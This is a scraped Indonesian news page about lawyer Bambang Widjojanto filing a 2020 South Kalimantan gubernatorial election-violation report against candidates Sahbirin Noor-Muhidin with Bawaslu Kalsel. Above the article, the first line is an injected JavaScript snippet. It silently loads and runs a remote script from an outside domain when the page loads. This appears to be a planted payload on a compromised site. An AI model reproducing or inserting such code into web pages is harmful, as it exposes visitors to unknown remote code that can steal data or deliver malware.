(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Implikasi Serius, BW Siap Hadirkan Ahli Sokong Laporannya ke Bawaslu Kalsel


KANALKALIMANTAN. COM, BANJARMASIN – Pengacara kondang Bambang Widjojanto selaku kuasa hukum dalam pelaporan dugaan pelanggaran Pilkada Kalsel, menyampaikan kasus yang disampaikan ke Bawaslu Kalsel cukup fundamental dan memiliki konsekwensi hukum sangat berat. Yakni pembatalan pencalonan paslon terlapor nomor 1, Sahbirin Noor-Muhidin.

Hal tersebut ditegaskan BW -sapaan Bambang Widjojanto, usai menyampaikan pelaporan kasus dugaan pelanggaran ke Bawaslu Kalsel, Rabu (28/10/2020) siang.

“Pelanggaran yang dilaporkan terkait pasal 71 ayat 5. Kami juga akan menghadirkan beberapa ahli karena laporan ini perlu pendalaman serius,” terangnya.

Terkait bukti apa saja yang disampaikan, mantan pimpinan Komisi Pemberantasan Korupsi (KPK) ini mengatakan tidak bisa sebutkan detail dengan alasan untuk melindungi saksi dan pihak-pihak terkait.

“Kita sudah sampaikan semua ke Bawaslu, sehingga biar proses ini berjalan dulu,” katanya.

Yang jelas, BW menyampaikan apresiasi kepada Bawaslu Kalsel sudah menerima laporan. “Tentunya kami berharap laporan bisa ditindajklanjuti, karena ada banyak alat bukti yang disampaikan. Kami optimis, karena juga sudah sering melaporkan kasus seperti ini. Dan banyak contohnya yang pencalonannya kemudian dibatalkan, ” kata mantan ketua tim penasihat Prabowo-Sandi ini.

BW menegaskan, laporan yang disampaikan bukan gagah-gagahan, tapi memastikan orang yang pantas jadi kepala daerah punya nilai-nilai yang bisa dipertanggungjawabkan dalam membangun demokrasi yang bersih dan anti politik uang. “Karena republik ini didirikan untuk menentang sikap koruptif,” tegasnya.

Sebelumnya, bola panas kasus dugaan pelanggaran dalam Pemilihan Kepala Daerah (Pilkada) Kalsel yang dilakukan oleh pasangan calon Gubenur dan Wakil Gubernur Kalsel nomor urut 1, Sahbirin Noor – Muhidin (Paman BirinMu) kembali begulir.

Calon Gubernur Kalsel nomor urut 2, Denny Indrayana kembali menyambangi kantor Badan Pengawas Pemilihan Umum (Bawaslu) Kalimantan Selatan, pada Rabu (28/10/2020).

Kedatangan Haji Denny yang mengenakan baju putih ini turut di dampingi belasan kuasa hukum, salah satunya Bambang Widjojanto Wakil Ketua KPK tahun 2011-2015 juga turut mendampingi dalam pelaporan tersebut.

Bambang menyampaikan kedatangannya, dalam upaya menguatkan kembali laporan dugaan pelanggaran tersebut Divisi Hukum H2D juga mendatangkan saksi dan alat bukti dari pelanggaran tindak pidana dari pasangan Paman BirinMu.(Kanalkalimantan.com/putra)

Reporter : Putra
Editor : Cell

Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.